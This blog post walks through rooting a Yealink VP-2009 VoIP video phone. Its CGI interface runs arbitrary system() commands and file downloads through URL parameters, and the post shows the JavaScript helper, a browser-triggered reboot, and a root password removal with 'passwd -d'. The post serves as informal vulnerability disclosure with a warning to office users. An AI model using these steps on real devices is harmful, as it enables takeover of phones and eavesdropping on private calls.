YeaLink VP-2009 VOIP/Video Phone – r00ted, here’s how..

Awesome phone. Not so awesome code. It took me the best part of 6 hours, but I rooted the bitch. Guide to come!

Now, I just need to see what security risk this poses to me since I now use these phones professionally. Be careful if you use these in your office! At least it’s not so easy to change the actual phone software. It’s a compiled ARM binary. Pity, would have been nice to write custom modules for it. I think it uses some strange XML interface to display content, might be a way to make that display web content of your own choice.


Rough guide:


<title>syntax error</title>
Unkonw GET type : useage ?[page/download/command]=xxx

Oh look, I can download any file from the phone.

Hmm.. command? What is command? Well, we can grab the syslog and see what goes on in there..

Mar 29 10:42:47 mini_httpd[772]: mini_httpd.c(1466):path:/cgi-bin/cgiServer.exx,query:command=msgSendMessage(%22app_vpPhone%22,%220xa8004%22,%220%22,%220%22)

Interesting! Alright, so I dig through their web code and I find:

 function _SendMessage(thread, uMsg, wParam, lParam)


return “msgSendMessage(\”” + thread + “\”,\”” + uMsg + “\”,\”” + wParam +”\”,\”” + lParam + “\”)”;


I test that via URL, and it works. I think. No errors.

What else do I see here..

function _getFreeSpace(strpath)
        return "getFreeSpace(\"" + strpath + "\")";

Aha, this works too. With any path, via URL.

However, here’s the money shot right here.. interesting command:

function _system(cmd)
        return "system(\"" + cmd + "\")";

I see they make calls to it internally:

function doReboot()
//var formInput = document.formInput;
if(xmlHttpGet(_SendMessage(“app_vpPhone”, “0xa8004”, 0, 0)) == “1”)
alert(“Talking, Please save config later.”);
if(confirm(” Do you want to reboot device?”))
jsShowPageStatus(“main-content”,”Rebooting , please wait …”, “server-status”);
xmlHttpPostAsyn(_system(“reboot >/dev/null 2>&1”), responseXmlHttp);

So, let’s try reboot.. I execute the reboot command via the browser. Boom, it reboots.

After hours of screwing around and banging out recursive ls, df, contents of files, touching new files.. I figure out that they obfuscate user permissions for /etc/


1 -rwxr-xr-x    1 1011     1002          601 May 13  2011 passwd

0 -rwxr-xr-x    1 1011     1002           31 May 13  2011

0 -rwxr-xr-x    1 1011     1002          452 May 13  2011 nsswitch.conf

0 -rwxr-xr-x    1 1011     1002          421 May 13  2011 inputrc

2 drwxr-xr-x    1 1011     1002         2048 May 13  2011 dhcpc

0 -rwxr-xr-x    1 1011     1002           26 May 13  2011 host.conf

3 -rwxr-xr-x    1 1011     1002         2921 May 13  2011 inetd.conf

Still doesn’t explain why I cannot rm files I’ve created in /tmp or append with echo. I can only create with echo or touch!

Numerous attempts to add a user doesn’t work. The commands just don’t exist.
I look at the files I create with touch and oh dear oh dear, they’re created by root. No chroot ! Or even running as an unprivileged user!

I chown passwd to root:root and then I run passwd –d to remove password. I overwrite MOTD prior to this as a test, hence the ‘test’.

BAM, I’m in.

Footnote: Now I’ve firewalled this interface off from the rest of the users on my network. Don’t want anyone snooping in on private phone stuff!